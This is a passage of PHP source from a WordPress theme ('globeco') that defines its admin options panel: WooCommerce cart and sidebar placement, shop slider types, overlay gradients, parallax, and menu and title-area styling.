'atts' => 'checked data-options="e:woo_cart_place;"',
),
'woo_cart_place' => array(
'title' => esc_html__( 'WooCommerce Cart position', 'globeco' ),
'type' => 'radio',
'subtype' => 'images',
'addrowclasses' => 'disable grid-col-12',
'value' => array(
'top' =>array( esc_html__( 'TopBar', 'globeco' ), true, '', '/img/woo-cart-top-right.png' ),
'left' =>array( esc_html__( 'Menu (Left)', 'globeco' ), false, '', '/img/woo-cart-menu-left.png' ),
'right' =>array( esc_html__( 'Menu (Right)', 'globeco' ), false, '', '/img/woo-cart-menu-right.png' ),
),
),
'woo_sb_layout' => array(
'title' => esc_html__('Sidebar Position', 'globeco' ),
'type' => 'radio',
'subtype' => 'images',
'addrowclasses' => 'grid-col-12',
'value' => array(
'left' => array( esc_html__('Left', 'globeco' ), false, 'e:woo_sidebar;', '/img/left.png' ),
'right' => array( esc_html__('Right', 'globeco' ), true, 'e:woo_sidebar;', '/img/right.png' ),
'none' => array( esc_html__('None', 'globeco' ), false, 'd:woo_sidebar;', '/img/none.png' )
),
),
'woo_sidebar' => array(
'title' => esc_html__('Select a sidebar', 'globeco' ),
'type' => 'select',
'addrowclasses' => 'disable grid-col-12',
'source' => 'sidebars',
'value' => 'woocommerce',
),
'woo_sb_layout_single' => array(
'title' => esc_html__('Sidebar Position Single', 'globeco' ),
'type' => 'radio',
'subtype' => 'images',
'addrowclasses' => 'grid-col-12',
'value' => array(
'left' => array( esc_html__('Left', 'globeco' ), false, 'e:woo_sidebar_single;', '/img/left.png' ),
'right' => array( esc_html__('Right', 'globeco' ), false, 'e:woo_sidebar_single;', '/img/right.png' ),
'none' => array( esc_html__('None', 'globeco' ), true, 'd:woo_sidebar_single;', '/img/none.png' )
),
),
'woo_sidebar_single' => array(
'title' => esc_html__('Select a Single sidebar', 'globeco' ),
'type' => 'select',
'addrowclasses' => 'disable grid-col-12',
'source' => 'sidebars',
),
'woo_columns' => array(
'type' => 'select',
'title' => esc_html__( 'Columns layout', 'globeco' ),
'addrowclasses' => 'grid-col-6',
'source' => array(
'2' => array('Two Columns',false, ''),
'3' => array('Three Columns',true, ''),
'4' => array('Four Columns',false, '')
),
),
'woo_num_products' => array(
'title' => esc_html__( 'Products per page', 'globeco' ),
'type' => 'number',
'addrowclasses' => 'grid-col-6',
'value' => '9'
),
'woo_related_columns' => array(
'type' => 'select',
'title' => esc_html__( 'Columns layout (Related)', 'globeco' ),
'addrowclasses' => 'grid-col-6',
'source' => array(
'2' => array('Two Columns',false, ''),
'3' => array('Three Columns',false, ''),
'4' => array('Four Columns',true, '')
),
),
'woo_related_num_products' => array(
'title' => esc_html__( 'Products per page (Related)', 'globeco' ),
'type' => 'number',
'addrowclasses' => 'grid-col-6',
'value' => '4'
),
'shop-slider-type' => array(
'title' => esc_html__('Slider', 'globeco' ),
'type' => 'radio',
'addrowclasses' => 'grid-col-12',
'value' => array(
'none' => array( esc_html__('None', 'globeco' ), true, 'd:shop-header-slider-options;d:shopslidersection-start;d:static_img_section' ),
'img-slider'=> array( esc_html__('Image Slider', 'globeco' ), false, 'e:shop-header-slider-options;d:shopslidersection-start;d:static_img_section' ),
'video-slider' => array( esc_html__('Video Slider', 'globeco' ), false, 'd:shop-header-slider-options;e:shopslidersection-start;d:static_img_section' ),
'stat-img-slider' => array( esc_html__('Static image', 'globeco' ), false, 'd:shop-header-slider-options;d:shopslidersection-start;e:static_img_section' ),
),
),
'shop-header-slider-options' => array(
'title' => esc_html__( 'Slider shortcode', 'globeco' ),
'addrowclasses' => 'disable grid-col-12',
'type' => 'text',
'value' => '[rev_slider shoppage]',
),
'shopslidersection-start' => array(
'title' => esc_html__( 'Video Slider Setting', 'globeco' ),
'type' => 'fields',
'addrowclasses' => 'disable groups',
'layout' => array(
'slider_switch' => array(
'title' => esc_html__( 'Slider', 'globeco' ),
'addrowclasses' => 'checkbox',
'type' => 'checkbox',
'atts' => 'data-options="e:slider_shortcode;"',
),
'slider_shortcode' => array(
'title' => esc_html__( 'Slider shortcode', 'globeco' ),
'addrowclasses' => 'disable box',
'type' => 'text',
),
'set_video_header_height' => array(
'title' => esc_html__( 'Set Video height', 'globeco' ),
'type' => 'checkbox',
'addrowclasses' => 'checkbox',
'atts' => 'data-options="e:video_header_height"',
),
'video_header_height' => array(
'title' => esc_html__( 'Video height', 'globeco' ),
'addrowclasses' => 'disable box',
'type' => 'number',
'value' => '600',
),
'video_type' => array(
'title' => esc_html__('Video type', 'globeco' ),
'type' => 'radio',
'value' => array(
'self_hosted' => array( esc_html__('Self-hosted', 'globeco' ), true, 'e:sh_source;d:youtube_source;d:vimeo_source' ),
'youtube'=> array( esc_html__('Youtube clip', 'globeco' ), false, 'd:sh_source;e:youtube_source;d:vimeo_source' ),
'vimeo' => array( esc_html__('Vimeo clip', 'globeco' ), false, 'd:sh_source;d:youtube_source;e:vimeo_source' ),
),
),
'sh_source' => array(
'title' => esc_html__( 'Add video', 'globeco' ),
'addrowclasses' => 'box',
'url-atts' => 'readonly',
'type' => 'media',
),
'youtube_source' => array(
'title' => esc_html__( 'Youtube video code', 'globeco' ),
'addrowclasses' => 'disable box',
'type' => 'text',
),
'vimeo_source' => array(
'title' => esc_html__( 'Vimeo embed url', 'globeco' ),
'addrowclasses' => 'disable box',
'type' => 'text',
),
'color_overlay_type' => array(
'title' => esc_html__( 'Overlay type', 'globeco' ),
'type' => 'select',
'source' => array(
'none' => array( esc_html__( 'None', 'globeco' ), true, 'd:overlay_color;d:slider_gradient_settings;d:color_overlay_opacity;'),
'color' => array( esc_html__( 'Color', 'globeco' ), false, 'e:overlay_color;d:slider_gradient_settings;e:color_overlay_opacity;'),
'gradient' =>array( esc_html__( 'Gradient', 'globeco' ), false, 'd:overlay_color;e:slider_gradient_settings;e:color_overlay_opacity;'),
),
),
'overlay_color' => array(
'title' => esc_html__( 'Overlay Color', 'globeco' ),
'atts' => 'data-default-color=""',
'addrowclasses' => 'box',
'type' => 'text',
),
'color_overlay_opacity' => array(
'type' => 'number',
'addrowclasses' => 'box',
'title' => esc_html__( 'Opacity', 'globeco' ),
'placeholder' => esc_attr__( 'In percents', 'globeco' ),
'value' => '40'
),
'slider_gradient_settings' => array(
'title' => esc_html__( 'Gradient settings', 'globeco' ),
'type' => 'fields',
'addrowclasses' => 'disable box groups',
'layout' => array(
'first_color' => array(
'type' => 'text',
'title' => esc_html__( 'From', 'globeco' ),
'atts' => 'data-default-color=""',
),
'second_color' => array(
'type' => 'text',
'title' => esc_html__( 'To', 'globeco' ),
'atts' => 'data-default-color=""',
),
'first_color_opacity' => array(
'type' => 'number',
'title' => esc_html__( 'From (Opacity %)', 'globeco' ),
'value' => '100',
),
'second_color_opacity' => array(
'type' => 'number',
'title' => esc_html__( 'To (Opacity %)', 'globeco' ),
'value' => '100',
),
'type' => array(
'title' => esc_html__( 'Gradient type', 'globeco' ),
'type' => 'radio',
'value' => array(
'linear' => array( esc_html__( 'Linear', 'globeco' ), true, 'e:linear_settings;d:radial_settings' ),
'radial' =>array( esc_html__( 'Radial', 'globeco' ), false, 'd:linear_settings;e:radial_settings' ),
),
),
'linear_settings' => array(
'title' => esc_html__( 'Linear settings', 'globeco' ),
'type' => 'fields',
'addrowclasses' => 'disable',
'layout' => array(
'angle' => array(
'type' => 'number',
'title' => esc_html__( 'Angle', 'globeco' ),
'value' => '45',
),
)
),
'radial_settings' => array(
'title' => esc_html__( 'Radial settings', 'globeco' ),
'type' => 'fields',
'addrowclasses' => 'disable',
'layout' => array(
'shape_settings' => array(
'title' => esc_html__( 'Shape', 'globeco' ),
'type' => 'radio',
'value' => array(
'simple' => array( esc_html__( 'Simple', 'globeco' ), true, 'e:shape;d:size;d:size_keyword;' ),
'extended' =>array( esc_html__( 'Extended', 'globeco' ), false, 'd:shape;e:size;e:size_keyword;' ),
),
),
'shape' => array(
'title' => esc_html__( 'Gradient type', 'globeco' ),
'type' => 'radio',
'value' => array(
'ellipse' => array( esc_html__( 'Ellipse', 'globeco' ), true ),
'circle' =>array( esc_html__( 'Circle', 'globeco' ), false ),
),
),
'size_keyword' => array(
'type' => 'select',
'title' => esc_html__( 'Size keyword', 'globeco' ),
'addrowclasses' => 'disable',
'source' => array(
'closest-side' => array(esc_html__( 'Closest side', 'globeco' ), false),
'farthest-side' => array(esc_html__( 'Farthest side', 'globeco' ), false),
'closest-corner' => array(esc_html__( 'Closest corner', 'globeco' ), false),
'farthest-corner' => array(esc_html__( 'Farthest corner', 'globeco' ), true),
),
),
'size' => array(
'type' => 'text',
'addrowclasses' => 'disable',
'title' => esc_html__( 'Size', 'globeco' ),
'atts' => 'placeholder="'.esc_attr__( 'Two space separated percent values, for example (60% 55%)', 'globeco' ).'"',
),
)
)
),
),
'use_pattern' => array(
'title' => esc_html__( 'Use pattern image', 'globeco' ),
'type' => 'checkbox',
'addrowclasses' => 'checkbox',
'atts' => 'data-options="e:pattern_image"',
),
'pattern_image' => array(
'title' => esc_html__( 'Pattern image', 'globeco' ),
'addrowclasses' => 'disable box',
'url-atts' => 'readonly',
'type' => 'media',
),
),
),// end of video-section
'static_img_section' => array(
'title' => esc_html__( 'Static image Slider Setting', 'globeco' ),
'type' => 'fields',
'addrowclasses' => 'groups',
'layout' => array(
'shop_header_image_options' => array(
'title' => esc_html__( 'Static image', 'globeco' ),
'type' => 'media',
'url-atts' => 'readonly',
'layout' => array(
'is_high_dpi' => array(
'title' => esc_html__( 'High-Resolution image', 'globeco' ),
'type' => 'checkbox',
'addrowclasses' => 'checkbox',
),
),
),
'set_static_image_height' => array(
'title' => esc_html__( 'Set Image height', 'globeco' ),
'addrowclasses' => 'checkbox',
'type' => 'checkbox',
'atts' => 'data-options="e:static_image_height;"',
),
'static_image_height' => array(
'title' => esc_html__( 'Static Image Height', 'globeco' ),
'addrowclasses' => 'disable box',
'type' => 'number',
'default' => '600',
),
'static_customize_colors' => array(
'title' => esc_html__( 'Customize colors', 'globeco' ),
'addrowclasses' => 'checkbox',
'type' => 'checkbox',
'atts' => 'data-options="e:img_header_color_overlay_type;e:img_header_overlay_color;e:img_header_color_overlay_opacity;"',
),
'img_header_color_overlay_type' => array(
'title' => esc_html__( 'Color overlay type', 'globeco' ),
'type' => 'select',
'addrowclasses' => 'box disable',
'source' => array(
'color' => array( esc_html__( 'Color', 'globeco' ), true, 'e:img_header_overlay_color;d:img_header_gradient_settings;' ),
'gradient' => array( esc_html__( 'Gradient', 'globeco' ), false, 'd:img_header_overlay_color;e:img_header_gradient_settings;' )
),
),
'img_header_overlay_color' => array(
'title' => esc_html__( 'Overlay color', 'globeco' ),
'atts' => 'data-default-color="' . GLOBECO_FIRST_COLOR . '"',
'value' => GLOBECO_FIRST_COLOR,
'addrowclasses' => 'box disable',
'type' => 'text',
),
'img_header_gradient_settings' => array(
'title' => esc_html__( 'Gradient Settings', 'globeco' ),
'type' => 'fields',
'addrowclasses' => 'disable box groups',
'layout' => array(
'first_color' => array(
'type' => 'text',
'title' => esc_html__( 'From', 'globeco' ),
'atts' => 'data-default-color=""',
),
'second_color' => array(
'type' => 'text',
'title' => esc_html__( 'To', 'globeco' ),
'atts' => 'data-default-color=""',
),
'first_color_opacity' => array(
'type' => 'number',
'title' => esc_html__( 'From (Opacity %)', 'globeco' ),
'value' => '100',
),
'second_color_opacity' => array(
'type' => 'number',
'title' => esc_html__( 'To (Opacity %)', 'globeco' ),
'value' => '100',
),
'type' => array(
'title' => esc_html__( 'Gradient type', 'globeco' ),
'type' => 'radio',
'value' => array(
'linear' => array( esc_html__( 'Linear', 'globeco' ), true, 'e:img_header_gradient_linear_settings;d:img_header_gradient_radial_settings' ),
'radial' =>array( esc_html__( 'Radial', 'globeco' ), false, 'd:img_header_gradient_linear_settings;e:img_header_gradient_radial_settings' ),
),
),
'linear_settings' => array(
'title' => esc_html__( 'Linear settings', 'globeco' ),
'type' => 'fields',
'addrowclasses' => 'disable',
'layout' => array(
'angle' => array(
'type' => 'number',
'title' => esc_html__( 'Angle', 'globeco' ),
'value' => '45',
),
)
),
'radial_settings' => array(
'title' => esc_html__( 'Radial settings', 'globeco' ),
'type' => 'fields',
'addrowclasses' => 'disable',
'layout' => array(
'shape_settings' => array(
'title' => esc_html__( 'Shape', 'globeco' ),
'type' => 'radio',
'value' => array(
'simple' => array( esc_html__( 'Simple', 'globeco' ), true, 'e:img_header_gradient_shape;d:img_header_gradient_size;d:img_header_gradient_size_keyword;' ),
'extended' =>array( esc_html__( 'Extended', 'globeco' ), false, 'd:img_header_gradient_shape;e:img_header_gradient_size;e:img_header_gradient_size_keyword;' ),
),
),
'shape' => array(
'title' => esc_html__( 'Gradient type', 'globeco' ),
'type' => 'radio',
'value' => array(
'ellipse' => array( esc_html__( 'Ellipse', 'globeco' ), true ),
'circle' =>array( esc_html__( 'Circle', 'globeco' ), false ),
),
),
'img_header_gradient_size_keyword' => array(
'type' => 'select',
'title' => esc_html__( 'Size keyword', 'globeco' ),
'addrowclasses' => 'disable',
'source' => array(
'closest-side' => array(esc_html__( 'Closest side', 'globeco' ), false),
'farthest-side' => array(esc_html__( 'Farthest side', 'globeco' ), false),
'closest-corner' => array(esc_html__( 'Closest corner', 'globeco' ), false),
'farthest-corner' => array(esc_html__( 'Farthest corner', 'globeco' ), true),
),
),
'img_header_gradient_size' => array(
'type' => 'text',
'addrowclasses' => 'disable',
'title' => esc_html__( 'Size', 'globeco' ),
'atts' => 'placeholder="'.esc_attr__( 'Two space separated percent values, for example (60% 55%)', 'globeco' ).'"',
),
)
)
)
),
'img_header_color_overlay_opacity' => array(
'type' => 'number',
'title' => esc_html__( 'Opacity', 'globeco' ),
'addrowclasses' => 'box disable',
'placeholder' => esc_attr__( 'In percents', 'globeco' ),
'value' => '40'
),
'img_header_use_pattern' => array(
'title' => esc_html__( 'Add pattern', 'globeco' ),
'addrowclasses' => 'checkbox',
'type' => 'checkbox',
'atts' => 'data-options="e:img_header_pattern_image;"',
),
'img_header_pattern_image' => array(
'title' => esc_html__( 'Pattern image', 'globeco' ),
'type' => 'media',
'addrowclasses' => 'disable box',
'url-atts' => 'readonly',
),
'img_header_parallaxify' => array(
'title' => esc_html__( 'Parallaxify image', 'globeco' ),
'addrowclasses' => 'checkbox',
'type' => 'checkbox',
'atts' => 'data-options="e:img_header_parallax_options;"',
),
'img_header_parallax_options' => array(
'title' => esc_html__( 'Parallax options', 'globeco' ),
'type' => 'fields',
'addrowclasses' => 'disable box groups',
'layout' => array(
'img_header_scalar-x' => array(
'type' => 'number',
'title' => esc_html__( 'x-axis parallax intensity', 'globeco' ),
'placeholder' => esc_attr__( 'Integer', 'globeco' ),
'value' => '2'
),
'img_header_scalar-y' => array(
'type' => 'number',
'title' => esc_html__( 'y-axis parallax intensity', 'globeco' ),
'placeholder' => esc_attr__( 'Integer', 'globeco' ),
'value' => '2'
),
'img_header_limit-x' => array(
'type' => 'number',
'title' => esc_html__( 'Maximum x-axis shift', 'globeco' ),
'placeholder' => esc_attr__( 'Integer', 'globeco' ),
'value' => '15'
),
'img_header_limit-y' => array(
'type' => 'number',
'title' => esc_html__( 'Maximum y-axis shift', 'globeco' ),
'placeholder' => esc_attr__( 'Integer', 'globeco' ),
'value' => '15'
),
),
),
),
),// end of static img slider-section
)
),
'woo_menu_options' => array(
'type' => 'tab',
'icon' => array('fa', 'arrow-circle-o-up'),
'title' => esc_html__( 'Menu', 'globeco' ),
'layout' => array(
'woo_customize_menu' => array(
'title' => esc_html__( 'Customize WooCommerce Menu', 'globeco' ),
'type' => 'checkbox',
'addrowclasses' => 'checkbox alt grid-col-12',
'atts' => 'data-options="e:show_menu_bg_color;e:woo_menu_font_color;e:woo_menu_border_color;e:woo_header_covers_slider"',
),
'show_menu_bg_color' => array(
'title' => esc_html__( 'Add Background Color', 'globeco' ),
'addrowclasses' => 'checkbox disable',
'type' => 'checkbox',
'atts' => 'data-options="e:woo_menu_opacity;e:woo_menu_bg_color"',
),
'woo_menu_opacity' => array(
'title' => esc_html__( 'Opacity', 'globeco' ),
'tooltip' => array(
'title' => esc_html__( 'Menu Opacity', 'globeco' ),
'content' => esc_html__( 'This option will apply a transparent header when set to 0. Options available from 0 to 100', 'globeco' ),
),
'type' => 'number',
'addrowclasses' => 'grid-col-6 disable',
'atts' => " min='0' max='100'",
'value' => '100'
),
'woo_menu_bg_color' => array(
'title' => esc_html__( 'Background Color', 'globeco' ),
'tooltip' => array(
'title' => esc_html__( 'Background Color', 'globeco' ),
'content' => esc_html__( 'Change the background color of the menu and logo area.', 'globeco' ),
),
'type' => 'text',
'addrowclasses' => 'grid-col-6 disable',
'atts' => 'data-default-color="' . GLOBECO_FIRST_COLOR . '"',
'value' => GLOBECO_FIRST_COLOR
),
'woo_menu_font_color' => array(
'title' => esc_html__( 'Override Font Color', 'globeco' ),
'tooltip' => array(
'title' => esc_html__( 'Override Font Color', 'globeco' ),
'content' => esc_html__( 'This color is applied to the main menu only, sub-menu items will use the color which is set in Typography section.<br /> This option is very useful when menu and logo covers title area or slider.', 'globeco' ),
),
'type' => 'text',
'addrowclasses' => 'grid-col-12 disable',
'atts' => 'data-default-color="#ffffff;"',
'value' => '#ffffff'
),
'woo_menu_border_color' => array(
'title' => esc_html__( 'Override Border Color', 'globeco' ),
'tooltip' => array(
'title' => esc_html__( 'Override Border Color', 'globeco' ),
'content' => esc_html__( 'This color is applied to the main menu only, sub-menu items will use the color which is set in Typography section.<br /> This option is very useful when menu and logo covers title area or slider.', 'globeco' ),
),
'type' => 'text',
'addrowclasses' => 'grid-col-12 disable',
'atts' => 'data-default-color="' . GLOBECO_FIRST_COLOR . '"',
'value' => GLOBECO_FIRST_COLOR
),
'woo_header_covers_slider' => array(
'title' => esc_html__( 'Header Hover Slider', 'globeco' ),
'tooltip' => array(
'title' => esc_html__( 'Menu Overlays Slider', 'globeco' ),
'content' => esc_html__( 'This option will force the menu and logo sections to overlay the title area. <br> It is useful when using transparent menu.', 'globeco' ),
),
'type' => 'checkbox',
'addrowclasses' => 'checkbox grid-col-12 disable'
),
'woo_customize_logotype' => array(
'title' => esc_html__( 'Customize WooCommerce Logotype', 'globeco' ),
'type' => 'checkbox',
'addrowclasses' => 'checkbox alt grid-col-12',
'atts' => 'data-options="e:logo_woo"',
),
'logo_woo' => array(
'title' => esc_html__( 'Logotype Woocommerce', 'globeco' ),
'type' => 'media',
'url-atts' => 'readonly',
'addrowclasses' => 'grid-col-12 disable',
'layout' => array(
'is_high_dpi' => array(
'title' => esc_html__( 'High-Resolution logo', 'globeco' ),
'addrowclasses' => 'checkbox',
'type' => 'checkbox',
),
),
),
)
),
'woo_title_options' => array(
'type' => 'tab',
'icon' => array('fa', 'arrow-circle-o-up'),
'title' => esc_html__( 'Title Area', 'globeco' ),
'layout' => array(
'woo_customize_title' => array(
'title' => esc_html__( 'Customize WooCommerce Title Area', 'globeco' ),
'type' => 'checkbox',
'atts' => 'data-options="e:woo_hide_title"',
'addrowclasses' => 'checkbox alt grid-col-12'
),
'woo_hide_title' => array(
'title' => esc_html__( 'Switch on/off the title area', 'globeco' ),
'type' => 'checkbox',
'atts' => 'data-options="e:woo_page_title_spacings;e:woo_default_header_image;e:woo_header_font_color;e:woo_header_overlay;e:woo_header_center;e:woo_breadcrumbs_divider;e:woo_breadcrumbs_dimensions;e:woo_breadcrumbs-margin"',
'addrowclasses' => 'checkbox alt grid-col-12 disable'
),
'woo_page_title_spacings' => array(
'title' => esc_html__( 'Add Spacings (px)', 'globeco' ),
'type' => 'margins',
'value' => array(
'top' => array('placeholder' => esc_attr__( 'Top', 'globeco' ), 'value' => '0'),
'left' => array('placeholder' => esc_attr__( 'left', 'globeco' ), 'value' => '0'),
'right' => array('placeholder' => esc_attr__( 'Right', 'globeco' ), 'value' => '0'),
'bottom' => array('placeholder' => esc_attr__( 'Bottom', 'globeco' ), 'value' => '0'),
),
'addrowclasses' => 'grid-col-6 disable'
),
'woo_default_header_image' => array(
'title' => esc_html__( 'Add Background Image', 'globeco' ),
'addrowclasses' => 'grid-col-6 disable',
'type' => 'media'
),
'woo_header_font_color' => array(
'title' => esc_html__( 'Override Font Color', 'globeco' ),
'atts' => 'data-default-color="#FFFFFF"',
'type' => 'text',
'addrowclasses' => 'grid-col-12 disable',
'value' => "#FFFFFF"
),
'woo_subtitle_content' => array(
'title' => esc_html__( 'Subtitle Content', 'globeco' ),
'addrowclasses' => 'grid-col-12 full_row',
'type' => 'textarea',
'atts' => 'rows="2"',
),
'woo_header_overlay' => array(
'type' => 'fields',
'addrowclasses' => 'grid-col-12 disable box inside-box groups',
'layout' => array(
'type' => array(
'title' => esc_html__( 'Add Color overlay', 'globeco' ),
'addrowclasses' => 'grid-col-4',
'type' => 'select',
'source' => array(
'none' => array( esc_html__( 'None', 'globeco' ), false, 'd:opacity;d:color;d:gradient;' ),
'color' => array( esc_html__( 'Color', 'globeco' ), true, 'e:opacity;e:color;d:gradient;' ),
'gradient' => array( esc_html__('Gradient', 'globeco' ), false, 'e:opacity;d:color;e:gradient;' )
),
),
'color' => array(
'title' => esc_html__( 'Color', 'globeco' ),
'atts' => 'data-default-color="' . GLOBECO_FIRST_COLOR . '"',
'addrowclasses' => 'grid-col-4',
'value' => GLOBECO_FIRST_COLOR,
'type' => 'text',
),
'opacity' => array(
'type' => 'number',
'title' => esc_html__( 'Opacity (%)', 'globeco' ),
'placeholder' => esc_attr__( 'In percents', 'globeco' ),
'value' => '30',
'addrowclasses' => 'grid-col-4',
),
'gradient' => array(
'type' => 'fields',
'addrowclasses' => 'grid-col-12 disable box inside-box groups',
'layout' => '%gradient_layout%',
),
),
),
'woo_header_center' => array(
'title' => esc_html__( 'Center Title & Breadcrumbs', 'globeco' ),
'addrowclasses' => 'grid-col-6 disable',
'type' => 'checkbox',
),
'woo_breadcrumbs_divider' => array(
'title' => esc_html__( 'Breadcrumbs Divider', 'globeco' ),
'type' => 'media',
'url-atts' => 'readonly',
'addrowclasses' => 'grid-col-12',
'layout' => array(
'is_high_dpi' => array(
'title' => esc_html__( 'High-Resolution logo', 'globeco' ),
'addrowclasses' => 'checkbox',
'type' => 'checkbox',
),
),
),
'woo_breadcrumbs_dimensions' => array(
'title' => esc_html__( 'Breadcrumbs Divider Dimensions', 'globeco' ),
'type' => 'dimensions',
'addrowclasses' => 'disable grid-col-12',
'value' => array(
'width' => array('placeholder' => esc_attr__( 'Width', 'globeco' ), 'value' => ''),
'height' => array('placeholder' => esc_attr__( 'Height', 'globeco' ), 'value' => ''),
),
),
'woo_breadcrumbs-margin' => array(
'title' => esc_html__( 'Margins (px)', 'globeco' ),
'type' => 'margins',
'addrowclasses' => 'disable grid-col-4',
'value' => array(
'top' => array('placeholder' => esc_attr__( 'Top', 'globeco' ), 'value' => '0'),
'left' => array('placeholder' => esc_attr__( 'left', 'globeco' ), 'value' => '0'),
'right' => array('placeholder' => esc_attr__( 'Right', 'globeco' ), 'value' => '0'),
'bottom' => array('placeholder' => esc_attr__( 'Bottom', 'globeco' ), 'value' => '0'),
),
),
)
)
)
);
}
if (function_exists('cws_core_build_settings')) {
cws_core_build_settings($settings, $g_components);
}
return $settings;
}
/*
here local or overrided components can be added/changed
*/
function cwsfw_get_local_components() {
return array();
}
?>